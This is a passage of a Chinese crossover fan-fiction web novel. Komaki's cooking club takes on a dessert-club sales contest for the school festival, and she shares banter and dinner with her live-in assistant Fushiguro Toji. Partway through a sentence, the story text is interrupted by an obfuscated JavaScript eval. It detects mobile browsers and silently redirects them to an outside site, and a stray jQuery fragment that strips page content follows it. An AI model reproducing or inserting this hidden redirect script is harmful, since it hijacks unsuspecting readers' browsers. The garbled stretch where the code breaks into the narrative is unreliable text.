菜谱的讨论还没开始,小莳就被隔壁的副社长看到了。 “赤司同学,好久不见。” 随口扯了个借口就想开溜:“抱歉,借过,突然想到作业丢在教室里了。” 对方一眼看破她的意图,也并不出言阻止,只是说:“听说各位也幸运地申请到了学园祭的摊位,真是意料之外。” 开口就嘲讽了全社。局外人小兰还好,园子已经感同身受的在料理社这一边咬牙切齿了。 小莳真诚地表达了自己的惊讶之情:“同学,你别太爱了,我也是刚刚才知道这件事,没想到你知道的更早,我也超意外你这么在乎。” 虽然很气,但是他还是坚持说明了自己此行的主旨,“要不要来比试一下营业额?就以学院祭中午为限,下午有不少社员都要去舞台看班级表演吧,考虑到料理社本来就凋零的人数,你们小吃摊怕是开不起来。” 小莳是个有自知之明的社员,这种battle她才不会代社长接下,因此也只是顺着之前的话往下说:“你这么在乎我们社,不会是因为自己副社长的位置是我们副社长跳槽来才得到的,有捡漏的嫌疑吧。您无需自卑,而且就算要证明什么您也只和甜点社的人证明就行,我们的意见也不管用呢。” 她这里温和的社长相当靠谱,很快接着小莳的嘲讽,不给对面讲话的机会:“可以的,我们就比一比早上9点到12点间3个小时的营业额。如你所说,我们料理社本来人数比不得甜品社,摊铺规模也不及咖啡店,不知道副社长同学你想怎么比试呢?” 迅速转移话题。 热血副社长也快速支棱起来接话:“我们社团一共8人,甜品社十几个社员,加上咖啡店和小吃摊本来就有差距,如果要营业额1:1的比试,这就有点不合道理了吧?” 自己的话被人一个个接回去,打得甜品社副社长也有点措手不及,但是身后响起归来的社长的声音,立刻挽救了局势,“松尾,怎么了?” 松尾连忙回头,额,社长旁边怎么还有个男的,算了这不是重点,赶紧向她小声地讲述了情况。 “小莳,那是不是你的助理啊。”园子戳戳小莳的后颈,悄悄凑在她耳边问。“他怎么会来这里,看样子是和对面的社长一起来的耶。顺便,真人真的比照片好看。” 谢谢你,园子,能够考虑到情况不对这件事情。 小莳也往后凑,小声告诉她:“我也不知道,我也不敢问,我也不认识甜品社社长。可能他们认识吧。”园子的夸奖甚尔绝对听见了,真是恭喜他嘞。 小莳现在也并不想和伏黑甚尔说话,于是低下头在自家两位社长后面罚站看手机,避免和任何人的眼神交流。 对方社长也许不是什么很善良的人,副社长说的,但确实反应快。她很快掌握了当前的情况,笑着对料理社众人说:“不如就以1:2为限吧,只要我们的咖啡店营业额超过你们的小吃摊一倍,便算是甜品社比试胜利。” 小莳的社长也接着说:“我认可,那么如果咖啡店的收入不及我们的两倍,就是我们料理社比试胜利。” 这就是约定好了的比试了。 双方都没有主动谈胜利者的奖赏,小莳也不说话。本以为事情就这样过去。 “赤司同学,听说你似乎对松尾的副社长身份有所误解,正好今天我们烤箱里有巴斯克,你过会愿意来甜品社坐一坐,吃块蛋糕吗?消除一下误解,你知道的。”对面的黑发少女还朝她勾勾头发,她一点也不想接话。 小莳:挠头。 “不用了,谢谢,我还有作业丢在班上,得去拿作业本。”不是很想看见伏黑甚尔,顺带着一个眼神也没给对面社长,小莳回到料理社活动室,顺便把门也关上。 伏黑甚尔把园子和她的窃窃私语听得明明白白,也没落下这边讲述的事情的前因后果。 小莳…在学校里原来会被人当成是不尊重前辈、性情孤高脾气古怪的乖张后辈,很新奇的认知。伏黑甚尔觉得她大部分时候挺可爱的,以为这是无论任何人都会喜欢的类型。 对于他来说,小莳是有趣的雇主,长得也漂亮,所以有点期待被包养,虽然没什么希望的样子。不忘初心,随便想想就想到吃软饭这件事。 赤司小莳…相处一阵子,不主动社交,不主动聊天,只在舒适圈里和朋友交往,交流最多的人是自己这个助理,完全没有和任何人恋爱的迹象,也包括他在内。 又看她一点不真诚的拒绝--从没见她在家写过作业。 听见松尾和甜品社社长说着“社长你看,她没礼貌。”“没事,到时候我们胜利了让她给你鞠躬道歉。伶牙俐齿的学妹晚点收拾也不迟。” 伏黑甚尔露出嘲讽的微笑。 凭他们,感觉不够格。 甜品社社长余光看见伏黑甚尔扬起的嘴角,被勾得注意力完全不在社团上了,“这是伏黑君,今天在外面…” 伏黑甚尔跟着进了甜品社活动室,进门前看了一眼隔壁。 门紧关着。 * 小莳这边比较值得庆幸的是,料理社所有人都被激起了斗志,势必要在学园祭干出一番事业。 初步定下的是炒饭、煎豆腐、烤肠、炸鸡块和薯条。 最后策划人的重任落在了小莳身上,两位社长纷纷表示对学妹计划组织能力的信任,她也就不推辞。“咖啡店选取的鸡块大概率只是普通的预制冷冻货,我们的鸡块就自己提前腌制,薯条的话也按照网上美式的做法从土豆开始准备吧。我虽然不擅长料理,却也知道从细微处下功夫,会达到意想不到的好效果。而且开设咖啡店提供几十种品类,更挑战团队协作能力,也更容易出错,即便勉强做好了,也难能出彩。我们只提供几样小食和套餐,就有更加充足的准备针对每样美食做特殊处理,好让我们的食品摊脱颖而出。” 园子一腔热血接下了后勤保障工作,“各位请放心,小吃摊的设备,就全权交给我铃木园子负责吧!” 众人鼓掌。 毛利兰旁边也激动地说:“我在家里姑且也算擅长料理,这几天我可以和空手道社请假,和大家一起学习,学园祭那天,有什么时候都可以让我做。不过我下午要参加话剧表演,可能会早一些离开…” 大家纷纷表示理解,并且感谢她的加入。 接着社团众人散开各自查资料,或者开始实践料理,园子开始和管家通话,尽早拿到设备,就能快点用新机器上手制作;小兰加入了社长的菜谱整理。 小莳…上一次亲手做菜还是在伏黑甚尔第一次来的时候,后来那盘蔬菜对方二人各夹了一筷就没有后续了。 她对自己的料理水平有比较客观的认知。 “喂,惠宝。确实有一些小事,你现在有空讲电话吗?” 但是可以摇人嘛。 “诶?正好有家里是开小吃店的尊敬的朋友在东京周边旅游?不仅仅是分享菜谱甚至还能来帝丹给社团的大家现场教学?好的拜托了惠宝!等你好消息,今年过冬我去北海道和你面基!已经在社交网站上看过很多次惠宝地吊切安康鱼视频了,如果此生不吃一次感觉就白活了w。” 情况比预期的更好,小莳根据田所惠给的信息,在网上搜索到了幸平创真。是当年的远月十杰第一席,据采访中他的自我评价,还有超能力“定食屋的智慧” 翻译一下,超擅长做小吃。 再看看各位美食评论家对他不吝啬的夸赞,小莳:心动心动,dokidoki。 希望幸平创真立刻马上添加她的联系方式,惠门。 社团活动时间结束前,田所惠带着好消息来了。不仅幸平创真有时间来帝丹给料理社众人紧急辅导,她本人近期也在远月学园做客座讲师,每天下课大约三点以后都可以来米花町。 “之前没有说是不清楚远月这边允不允许我每天下课后给其他组织进行辅导,就没有和小莳说明,怕期望落空。幸好薙切小姐听说了只是一个不到10人的普高社团,就直接顺手代委员会批准了,算是开了点后门。” 以及虽然对方说只擅长些乡土料理,对小吃并不熟悉,最多只是提供一点基本功技巧和食材处理方面的建议,小莳还是很开心。 网友面基,好耶!!!而且远月茶寮料理学园是一所毕业率不足10%的优中选优学院,不仅顺利毕业,甚至成为远月十杰之一的田所惠…她这么说必然只是谦虚。 小莳想,她就从来都不谦虚,以后还得学学人家。 她挂电话后,转头就看见站在走廊的伏黑甚尔和与他临别寒暄,肢体动作上看起来甚至想送送他的甜点社社长……结了三次婚,孩子都会打酱油的男人,再帅也把握不住。 小莳一眼也不多看,生怕被叫住进入群聊,所幸对方也没那个兴致,甚尔君也表现出一副没看见她的样子--不管他是不是还在发疯,都多谢了。 扭头回到料理室,和差点上远月的副社长汇报了这一好消息。于是直到小莳离开,副社长都拉着她的手表示感谢。 小莳:DUCK不必。 看这个时间点,伏黑甚尔只比自己早离开十几分钟,是没有晚饭的迹象。 小兰赶着给家里没用的两个男人做晚饭,小莳迫于无奈携手园子进入便利店。 “园子有什么好吃的推荐吗?” “我?我不怎么来便利店,今天就是来凑个热闹,家里厨师做好了饭的。以前和小兰一起逛的时候总觉得有趣。她好像挺喜欢吃这个饭团。”一下就说到了小莳的伤心事。她到现在都没能吃那个饭团,现在应该还在桌肚里,忘记放包里了。 “我的助理最近在旷工,多买点度过这段苦日子吧。”把货架上同款饭团统共四五个,统统扫进框子,“这个牛奶看上去不错,苦涩的生活怎么能少得了白砂糖,进来吧你。” “怎么回事?帅哥脾气这么差。”园子立刻感兴趣起来。 “超级。就是脑子不好会发疯吧,多半是童年不幸导致的精神错乱。”小莳肆无忌惮的在开放冰柜前面和园子编排起伏黑甚尔的不是。“今早他都没给我做早饭,还说什么‘我以为你自己点了’工作日,根本睡不够,我哪来的时间早起点外卖,而且我早饭也没有吃外卖的习惯,他那话就是在故意挑衅你懂吧园子。” “那你今天迟到是因为……”园子刻意的停顿。 “因为他没喊我起床,我是靠着生物钟勉强醒来的。” “阿这。”好狠的男人。园子露出坏兮兮的笑容,“这样吧,你今天回家就把他给辞退了,然后把联系方式给我,我高低得让我们家管家教育教育他,叫他知道合格的助理是什么样子!” “打咩,我现在是不敢随便裁人了,而且……”小莳拿泡面拿到一半,忽然想到园子是一位渴望恋爱的女高,大概不能理解自己和伏黑甚尔异世相逢一线牵的事情,自己也不打算告诉她这一点,于是停止。 “你也是那种说话说到一半就不说的坏女人吗,小莳?”园子不满地催促她。 “没什么,我本来想说因为他做饭还挺好吃。但转念一想刚刚兰因为家里有两位嗷嗷待哺等饭的时候,我在心里吐槽过那一老一小没用w,这时候如果我承认甚尔君又会照顾人又会做饭,岂不是凸显出我有点没用。”思绪回到对话中,小莳很快想到了搪塞的理由,就地取材,“现在我想通了,本小姐掏了钱的,这是我应得的!顺便我对于毛利叔叔和柯南的评价你就不用和别人提起了,背后议论人总归不妙捏,只是小兰小小年纪就要承担起家庭重任,有点可怜。” “原来是这样,你说得对,先付钱的人先享受世界。再多理直气壮一点也无妨!”说道挚友,园子也叹了口气,家家有本难念的经,“这还得说到英理阿姨离婚,不然兰会更快乐。” 小莳皱眉头:“此言差矣,没有离婚难道一切就应该是女人做吗?更不用说毛利叔叔成名只在最近,而妃女士,她入行律师以来就有从未败诉的记录,要说在一起的时候谁名声更大,我认为是妃律师。但毛利先生看上去并不是一个会承担很多家庭责任的男人。更不用说在分居以后,如果还要维持一个家庭的话,年长者理应承担起相应的责任,不至于让女儿做这些。” 园子听小莳念念有词,不禁也思考起来“你说的有道理,为什么先前从没想到过这些呢。可惜兰超爱她爸妈的,她还希望有朝一日能再一家三口在一起呢!这些话你和我说说就行了,不要去和兰说,她一顶会伤心。”因为毛利叔叔……不仅不像是会做家务的样子,甚至是个会赌马会看美女的怪中年人,这很难改。 小莳也没再主动说什么,很快园子又把话题挪移到帅哥助理身上,做出承诺,“我这么有义气当然是不会抢姐妹所爱的,小莳你信我。话说他为什么突然旷工啊?” “我也不清楚,要是清楚的话就能找他谈一下了。”小莳表示自己一无所知。 名侦探园子上线,进入调查模式:“之前发生了什么?” “就从有森饭店回来。我坐在车上,随便聊了两句,他就开始犯病。不用你说我也知道你接下来要问聊天的内容了——让我想想。” 啊,酒精,是高中生不能说的话题。掐头去尾好了。 “随口感谢了一下前晚上他帮我吹头发关空调,顺便陪我聊了天的事情。”替换了一下,内容大差不差。 “在那之前呢?”名侦探园子没什么头绪,继续询问。 小莳想了想,“我们聊到了柯南,我甚尔君一致认为他略微不讨喜。” “我对你们的结论深表赞同,但是我也不知道助理先生为何旷工。”园子垂头丧气,但是很快振作起来,“不过!名侦探园子并不会毫无收获。他一定很在乎你!” 小莳心想,你胡说。但是做出洗耳恭听的姿态:“愿闻其详。” 付了钱,拎着环保袋走在商业街人行道,听园子分析得头头是道:“你看,助理先生看照片就是酷哥,今天一见真人感觉更甚,是不会主动和别人搭话,别人像他搭讪也多半会爱答不理的类型。你没看隔壁社长眼睛都粘他身上了,他还是双手插兜,一副‘我对你完全不感兴趣’的样子。话说他们到底是怎么认识的?” 在小莳并不大声的“我也不知道诶”背景音中,园子已经完全沉浸在自己的推理中--即使这并不严密的逻辑分析和推理并无瓜葛:“但是,无论如何!他又是无微不至照料小莳你的生活,又会因为一点点不知道为什么的小事生气,很明显。和小莳相处的时候大帅哥也完全没有不近人情的迹象吧?” 小莳回想了一下在自己记忆里老实巴交,事事有回应的伏黑甚尔,摇头:“他还挺好说话的嘞。” “果然!”园子声音突然放大,在路人诧异的目光中又小小声和小莳激动交流:“他平常会和别人说话聊天吗?” 小莳摇头。 “他有什么爱好吗?” “大概玩手机…”小莳没有特意关注过伏黑甚尔的生活,也不打算注意这些,“可能竞马算一个吧,他去过几次竞马场。”然后根据他回家的状态来看,是输得血本无归。 “你看,他的生活都是围着你转的!” 小莳理智举证反驳:“有没有一种可能,因为他职业是我助理呢。而且甚尔君也有自己的生活的,我也没拦着他。比如…他和隔壁社长我就不晓得是怎么一回事。” “额,如果是我的话我肯定当场揪着他领子问:‘这个女人是谁!’了。小莳,有这么帅气得助理朝夕相处,你居然无动于衷。”园子被小莳的逻辑难住,思绪乱飘,很快重整,“但是他肯定是很在意小莳的吧,不然对别人就无所谓的样子,对你就又是悉心照料,又是会因为不知道什么理由乱生气。我知道了!他暗恋你!” 毫无根据的得出结论:“这,就是名侦探园子的究极推理!” 推理的很好,下次不要再推理了。 小莳面无表情的棒读:“你说得对,但是很喜欢备前千鹤女士荣誉出演的一个婚姻失败女性的台词‘他虽然出轨,但是他不愿意和我离婚;而且他打了我以后会和我道歉,他好爱我。我是不会相信你们信口胡言的!’然后把喜欢她的另一个男人呵斥出别墅,当晚就被那个好~爱~我~的亲亲老公谋杀了。” 所谓的另一个男人实际是侦探男主,为了调查十年前已经结案的所爱的女人离奇死亡案件,历经千辛万苦,最终发现犯人是丈夫。 备前千鹤那句台词是男主最后回忆杀里面爱恋的女人的最后一面,也成了她的遗言。最后,画面重合,侦探男主就像被拒之门外的那天一样,风衣绅士帽,走进雨夜,所有的声音也都隐入滂沱潮湿的天地轰鸣。 电影两年前上映,好评如潮,捧红了主角在内的几位演员。 园子结巴:“…你的意思我明白了,但是这比喻……就是说,肯定是有喜欢的嘛!一下子就跳跃到婚内谋杀实实实在是太超过了!” “真的吗?我不信。” “……”园子其实被小莳反驳的也不敢认定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413078|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,但她多年单身,超级敏感的恋爱雷达就是告诉她,这个助理和小莳绝对有东西! 可恶,没有证据! 新兰头号cp粉园子,出于一些不为人知的理由和不服输的心,开始倔强嗑新cp,年上冷淡黑衣帅哥助理x白毛女高大小姐。 告别园子后,小莳走在路上。其实刚刚的对话并非没有收获,园子的视角虽然信息不全,但也能提供新的思路。 漂亮活泼聪明可爱的女孩子谁不喜欢,出手阔绰的豪门小姐谁会讨厌,伏黑甚尔就算真如园子所言是个酷哥,总归也属于人类范畴。更何况他是一个性取向确实为女,据他本人所说此前辗转与多个女性家中的emmm比较擅长家政和提供身体及情绪价值的第三产业服务人员,俗称全职男友,偶尔还结个婚改个姓,做全职丈夫。 于他而言,她就像之前遇到的大部分条件较好的女性一样,具备能够被他喜欢的各个要素,加上相处的一小段时间……如园子所说,人也确实会对有点信任喜欢的人展露情绪。只是情绪不总是好的。 小莳进入电梯,想着,不是有那么一句话,人会不自觉的伤害喜欢的人,但是对所爱之人反而处处小心,谨小慎微,因为喜欢是以我为出发点,而爱则以对方为中心。 别喜欢她,感觉不如勤勤恳恳打工。 对小莳来说,伏黑甚尔本该就是此前遇到的大部分男性面貌,没有什么特殊的,不需要额外在意。只是时移世易,自己没了死气之炎,不能用幻术创造一个能帮助日常生活的造物,如果不想自己动手就只能请人帮忙。而且……虽然不太愿意承认,但是她自己仍然对这个世界是有点水土不服的,甚至可能要用很久治愈那份心理落差。 什么都没了。 只有一位同样的异世来客又做助理又做能说得上话的人,难免多点依赖。 仔细想来反倒她这边的需求更刁钻呢,仅论同是其他世界来的这一点,除了伏黑甚尔就找不到别人了。征十郎虽然好,但毕竟是原住民,和他念叨什么“想家了”“想朋友了”总会使他多心,小莳可没有想让征十郎掉小珍珠的意思。父亲嘛,不说了,有感情,但不多。搞不好一年以后就要去相亲,再几年他就想让亲家抱孙子了…小莳苦中作乐,虽然对未来有诸多不确定,但眼下还是先靠手中的便利店快餐度过这几天。 然而事实比小莳的预期好了太多,进门以后,先是嗅到一阵鲜香。低头,拖鞋已经被摆放在面前。 这是,家里开火了? 好耶! 来不及换鞋就探头,看见餐桌正中摆放着自己亲自挑选网购的粉红色电锅炉,里面咕咚咕咚冒着泡,水蒸气在空中四散,裹挟着香气蔓延到鼻尖。目光锁定一只没有埋下去的蟹脚,视觉神经对大脑说:报告长官,是雪蟹! 厨房里正在切蔬菜的伏黑甚尔闻声看过来时,见到的就是小莳鬼鬼祟祟的探头盯着桌面。 他想,有这么喜欢吃蟹吗。倒也不难,以后可以经常做。 “先换鞋,帮你拿好了。” 小莳这才看向伏黑甚尔,他手里还沾着菜末,戴着围裙-日本超重人群不多,做饭的男人也不多,超市里贩售的均码偏小围裙在伏黑甚尔身上被拉扯得很可怜。她下意识竖起大拇指:“身材不错。”带出了一个便利店logo袋。 沉默。 糟糕,忘记手上拿着东西了,小莳接了一句找补,“这是我买的早饭,明天的。” 她觉得助理多半是看破没说破,接过袋子只说“我晚点整理一下”就把他们囫囵塞进冰箱,顺手将切好的青菜拿出来放在餐桌的最后一出空缺:“先吃饭。” 他们像什么都没发生一样共度晚餐,伏黑甚尔觉得小莳这样懂事很好,不会像有些人一样问东问西。 遥远的回忆开始冲破围墙,进入他的思想。以前,他借住在一些人家的时候,也会有三两天的消失,大概是竞马去了,也有时是单纯想换个环境,去夜场坐坐或者露宿街头,总之就是想离开。等他回去以后,大部分人总不免以关切为名实际责备。也有的只是垂泪,请求他再别这样。当然也有一部分会直接关门换锁,沉默着拒绝他。除了最后一种,其余的都聒噪,十几个女人的声音汇聚在一起,就像嗡嗡嗡,他懒得去听。 大差不差,反正,他最后总会离开。 旁边的女孩被一块豆腐烫到了舌头,在满桌子菜碟里找茶杯,伏黑甚尔内心评价,有点笨,但还挺乖。 之前他是不是觉得小莳不是自己喜欢的类型来着?不管是不是,那句话撤回。 伏黑甚尔想,他现在挺喜欢的。 帮她拿了一杯常温的水,见她含了一口鼓着双颊,手大约是比划着感谢,看不懂,伏黑甚尔随心意摸了摸她的头,手感出乎意料的好。灯光照射下看上去像银练,摸起来像绸缎一样顺滑。 “怎么样,是不是很滑溜,跟黄濑君推荐买的,据说他合作的女模特很多都用的这款沙龙护发素。因为可以用在头皮上所以黄濑君自己是短发也在用。”小莳一下就看出了伏黑甚尔的心里想法,吞下茶水以后得意开口。 “黄濑,那是谁。”他收回手问。 小莳热情的给他介绍:“征十郎的同学,篮球队的朋友。他们初中就一起玩了。然后黄濑君高一就开始兼职模特,现在也一直活跃在时尚圈,如果你去网上搜可以搜到很多他的照片啦。不过我还是觉得素颜的黄濑君就足够好看了,杂志上的少了点真实感…让我找找,我上次还和他合照了嘞。” “……” “登登,请看照片。” 照片中,相貌俊俏的金发运动员俯下身子,怀中半揽着盯着摄像头找角度的少女,看向她,微笑。 伏黑甚尔看了一眼就转过视线:“你笑得有点蠢。” “让你看靓仔不是让你点评雇主,甚尔君你有点低情商。”小莳没把他的话当一回事,从小到大她没为容貌担心过,现在也不会因为助理的一句话有情绪。 他多半是想起自己被丢在家里的不快乐半天了,好粘人。她怀疑他有躁郁症,情绪在兴奋和抑郁中辗转。 伏黑甚尔:“我对男人没兴趣。” “哦,那你对我挺感兴趣的哈。” “……”不凑巧,目前确实。 伏黑甚尔不回应,观察着小莳说完话的反应,意料之中的发现她只是随口一说,注意力全集中在汤锅。 坦白说,略微失望。 伏黑甚尔是一个,嘴上说着既不自尊也不尊重他人,实际上心中有什么想法就一定会尽快落实的不坦诚个体。要知身如槁木,心如死灰可不是这么个症状。 此刻把自己心情定义为略微失望,但实际上内心蠢蠢欲动跃跃欲试想要出言挑逗小莳的伏黑甚尔,身体比脑袋先一步反应,他很诚实的遵从本心,声音低沉问:“如果我说是呢?” 进一步,干回老本行,退一步,反正还是助理,合算。 “是什么?”小莳思考了两秒,想起来刚顺口接了个话,这是有人想吃软饭了,“对我感兴趣也没什么大不了的。大概是因为很多人都对我有各种各样的兴趣,习惯了。” 放下筷子,抿起带笑意的嘴角,憋笑:“你刚刚不会是想,勾引我吧,甚尔君。”然后模仿了一下他那句“如果我说是呢~” 伏黑甚尔:“……没有” 这种时候不管有没有都得说没有吧,丢人。 他把原因归结于:小女孩还没有开窍不懂这些。 小莳复又拿起筷子开吃:“是勾引也没关系,我还挺喜欢甚尔君的,不过并没有和你谈恋爱的打算,也不想包养你。但如果你实在缺钱,我可以偷我爸的钱给你,在我们散伙之前。” 夹一块蟹腿,用筷子将丰腴的蟹肉从骨刺中滤到碗中,本来只有一小块蟹籽点缀的蒸蛋肉眼可见变得更诱人起来,在伏黑甚尔的沉默中小莳接着说:“比如,再过半年,你不想做我的助理了,想去追求更广阔的人生,但是需要一笔启动资金。这个时候你就可以绑架我,赎金的话--多了我担心我们的父女缘余额不足,就定在两亿吧,到时候你可以都拿走,开启美好生活。作为我对甚尔君的感谢,你说过以后看到我的悬赏不会接的,我超感动。” 伏黑甚尔觉得她奇怪极了,这时候就在想散伙的事情:“你有点怪你知道吗?” 不过半年啊……这个时间段说得也算巧妙。自从第一任妻子离世后,伏黑甚尔就开始流浪,没有刻意去限制时间,但是他在每一任伴侣身边一般也就停留三个月,最长不超过半年。他自己将之定性为居无定所的本性暴露。 小莳现在说起这些,总让他产生一些她此前就认识他的错觉。 并无可能,她之前在另一个世界的意大利呢,而他在又一个不同的世界,先是禅院家,再是日本境内随缘漂泊。 伏黑甚尔想,所以这才令人着迷。 “谢谢,如果有需要的话我会提前和你商量的。”他草草结束了这个话题。 “我听她说,下周五是你们高中的学园祭。”伏黑甚尔试图想起甜品社社长的名字,她大概做过自我介绍,但失败了,“你们另一个社团社长。” “是有这种事,甚尔君应该也听见关于比赛的邀约了吧。那个社长,叫什么名字来着……不知道,有给甚尔君介绍甜品社的计划安排吗?”说到这里,不顺便打听一下敌情就不礼貌了。 “听见了,啊,我也想不起她的名字。学园祭什之类的可能说了一些,没注意。” “甚尔君好像说了什么又好像没说,你可是我的助理诶,快快开动脑筋!”一提起正事,小莳浑身充满干劲。 伏黑甚尔于是听她的话努力回想:“大概有巴斯克蛋糕,他们做的还挺好吃的。那个女孩还包装了一份给我带回来,在冰箱。” 有点对不起少女怀春的心,但谁让她是对面的呢,小莳有必要探查敌方水准:“请务必给我尝一口!” “要吃吗?” 异口同声。 “要要要要要,让我吃巴斯克,我现在就要吃w” 于是起身帮少女拿蛋糕。 小莳拆开包装,到第二层时,飘下一张手写的小纸片。伏黑甚尔比她先一步接住。 “莫非是——”少女情怀总是诗啊。 “电话。”还有一行字。伏黑甚尔握拳抵住少女探过来的额头,问她:“要发信息给她吗?” “……昧着良心套信息固然有趣,可是伤害少女心非我所愿,算了吧甚尔君。我吃块蛋糕就行。”小莳表示自己良心在线,暂时不想打击花季少女。 伏黑甚尔看见她有了点良心的样子,不轻不重告知她:“她和那边副部长说等胜利以后要让你鞠躬道歉。” 小莳一转态度:“你现在发信息给她。她这么喜欢你我不信她不秒回。” “……?” 11. 第 11 章 小莳愤怒地尝了一口巴斯克。 甜品社长人不好,可手艺实在精湛。比烘焙店味道更好。 这可难办了,毕竟料理社的同学们主打一个兴趣使然,技术上很难说有什么值得夸耀的闪光点了。 伏黑甚尔那边发了个“你好”,低头就看见小莳忧心忡忡叼着勺子。 想说什么的时候,手机铃声响起。 恩,秒回。 Snow:你好。 Snow:是伏黑君吗?(?????) TOJI:嗯 他问小莳,“这个表情是什么意思?” 这会小莳也开始看起了line,似乎是有人给她发消息,伏黑甚尔瞥到了申请好友的聊天框。她抬起头略看一眼,接着视线又回到自己手机上:“意会就行。颜文字,用标点符号假装是在做表情,她大概是想在crush面前活跃一下气氛。就当她是开心的意思吧。” 伏黑甚尔理解了颜文字,没理解crush,看到小莳在分心,不爽。 手机一条一条蹦出消息。 Snow:TOJI是伏黑先生的昵称哇,我备注一下。 Snow:今天的蛋糕还合口味吗? Snow:我很久没有做巴斯克蛋糕,如果有失误,还不巧让伏黑先生吃到,这就太不好意思了。 Snow:如果有什么建议您可以告诉我(=?ω?)? TOJI:不是,我就叫伏黑甚尔。 低头看见小莳只浅尝一口蛋糕就开始敲屏幕,左手食指中指夹着塑料小勺。他抽出勺子,就这小莳刚刚品尝的地方挖了一块蛋糕,吃了一口。 理解刚才担忧的表情是从何而来,伏黑甚尔在“你就不能自己拿个勺子吗”的不满抱怨里效仿着小莳之前的样子夹着勺子打字。 就几秒的时间,对面又发来一条消息 Snow:酱紫,是很好听的名字呢! TOJI:蛋糕味道不错。 好吃到有人汗流浃背的程度。 “你想知道什么?” 小莳毫不客气的直接提出诉求:“菜单,如果可以的话把他们预计的准备量也探索出来…我是说,像这类蛋糕按理都会提前一天下午准备好,然后放在冰箱保鲜,第二天上午售卖,掌握了他们准备的数量,差不多也就能估计这块营业额,至于咖啡快餐,这种事情后面再说。” “你还真是恶堕得彻底。”也就过去几分钟,一点良心的折磨都没有了。 小莳:“信息准备而已,其中也不存在什么良心的负担,要说真的道德败坏…感觉不如派你去勾引她,然后在下周五前和她分手,理由都是现成的‘对不起我3岁的儿子想我想得一天只吃得下三顿饭了’,擒贼先擒王,扰乱军心让甜品社群龙无首!虽然不知道你们是怎么认识的,但那位社长一看就是究极恋爱脑。”居然对只是一面之缘的男人这么热情,不怕找到个已经结了好几次婚的家伙哦。 所以,她还是很有良心的嘛。 “……” “说到你的儿子,和他同名的我的网友田所惠这次帮大忙了,她和她远月学园的同学要来帮我们社团料理特训!刚刚她同学加我line了,稍微聊了一会。不出意外明天就可以见到幸平君了——今天他其实人就在米花,但是好像因为一起谋杀案被警方留在餐厅里了。” 幸平?这又是谁。 伏黑甚尔:“哦。” 小莳继续给他分享自己所得的信息:“你猜怎么着,他说,【幸好有一个皮肤比较黑的高中生侦探,听口音是关西那边的,及时带着他的小助手破案了。这小助手很有趣,名字叫柯南,一眼就推理出我的身份是厨师。】” “……” “我就说吧江户川柯南是个活阎王,你还不信我。现在信了吗?”小莳得意洋洋,然后和伏黑甚尔吹嘘自己的快人快语,“我告诉幸平君,米花不养闲人,他果然直呼了不起。” 伏黑甚尔双手抱胸,面无波澜进行总结:“你把我打发去和隔壁社长打探情报,自己却在和人聊天。” 小莳看他这样子便知心情不妙,心想明明我才是被指望勾引的那个,怎么结果你这个喜欢别人的还总是闹脾气。 她都没谈恋爱,就知道你这全职男友这辈子离婚多次。 心里狠狠吐槽,实际上小莳扯着伏黑甚尔的衣角,讨好地说:“我帮你收拾桌子。你不想理她就别回了。” 如果小莳是一个旁观者,她一定说:“什么叫帮忙收桌子,上次听见这话还是爸爸和女儿说你要帮你妈做家务,她上班很辛苦。儿子你回房好好读书。老婆你不想洗袜子今天就别洗了,明天洗。” 但伏黑甚尔没遭受过这方面指点,还挺吃这一套。 小莳低头默不作声,算是逃过一劫。 而且收拾是不可能收拾的,最多附赠一个工作陪伴。 小莳只是把自己的几个盘子和碗摞在一块,然后把剩菜统统都倒到汤锅里,“这些装菜的盘子就不用洗了对吧,直接放回橱柜备用。他们看起来还挺干净的。” 很简单,如果要让自己来做事情,那么考核标准就下降一万倍。 “……你放着我来吧。” 小莳乖乖退居二线,看伏黑甚尔手脚麻利的把两人的碗筷重新叠一叠,再将所有的盘子摞起,一左一右把它们端到灶台,左手中指一勾,洗碗机就打开了。迅速将这些东西码放进置物架上,熟练地放入洗碗筷,他设置好模式,听见滴一声以后关上洗碗机。 伏黑甚尔转身回来时,不知道从哪里拿的,手上还多了一袋厨房湿巾。 小莳自发鼓掌。 “甚尔君,吾辈楷模。”虽然她不会真的去学,也许这辈子都不可能做家务。 但只是看着就觉得很厉害。 整个过程不过三分钟,最后伏黑甚尔还清洁了抹布,顺便把今天的厨房湿巾也洗了。 “今天桌面比较干净,湿巾可以二次利用擦灶台和地板。”他这么解释。 小莳也不知道为什么,双手啪的一下就合十了。 “蛋糕还吃吗?” 小莳摇头。 “那就放冰箱,明天切一块给你做便当的点心。” 就当她是被性缘脑感染了,但此情此景……真的很有既视感,女孩得到了追求者送的99朵玫瑰,因为花束并不便宜,所以回家熬成了玫瑰酱,然后和同居人分享。 她这悲悯之心差点发作了。差点差点,于是她点点头,正好戏瘾来了,开始讲黑话:“记得分、尸手法好一点,可以配点水果掩人耳目。明天我们要过安检,不能被条子发现了。” 伏黑甚尔只是自称舍弃了尊严,不代表能接受这种很新的莳言莳语,他没搭理,打包盒放进冰箱以后,一声不吭开始整理小莳购买的便利店冷食。 “饭团9个,7个的保质期在今天,其他在明天。鲜奶保质期10天,这瓶还剩5天,这瓶还剩3天……便利店鲜食大部分保质期都很短,不宜买很多。傍晚以后,货架上基本就是要被清理掉的产品,难为你,今天帮711清库存了。” 整理起来,伏黑甚尔就想叹气,大小姐逛便利店,这下谁还分得清她和傻子。反社会人士也没见过放学去便利店鲜食柜囤货的学生。 “我们可以放冰冻,然后一个一个拿出来吃。”小莳上一次去便利店还是在十几年前,虽然五六岁的小莳有来自未来的平行世界的10年记忆,但考虑到记忆里都要世界末日了,便利店里几乎没有保质期少于1个月的食品。而实际年龄七岁以后,她就常住意大利了,直到十六岁突然来这里。这辈子确实还是第一次在便利店购买寿司饭团和袋装鲜奶。 “……”伏黑甚尔第一次听见这种别开生面的想法。 “我赌它进了零下20℃不会坏。”自信打响指。 好的,赌王。 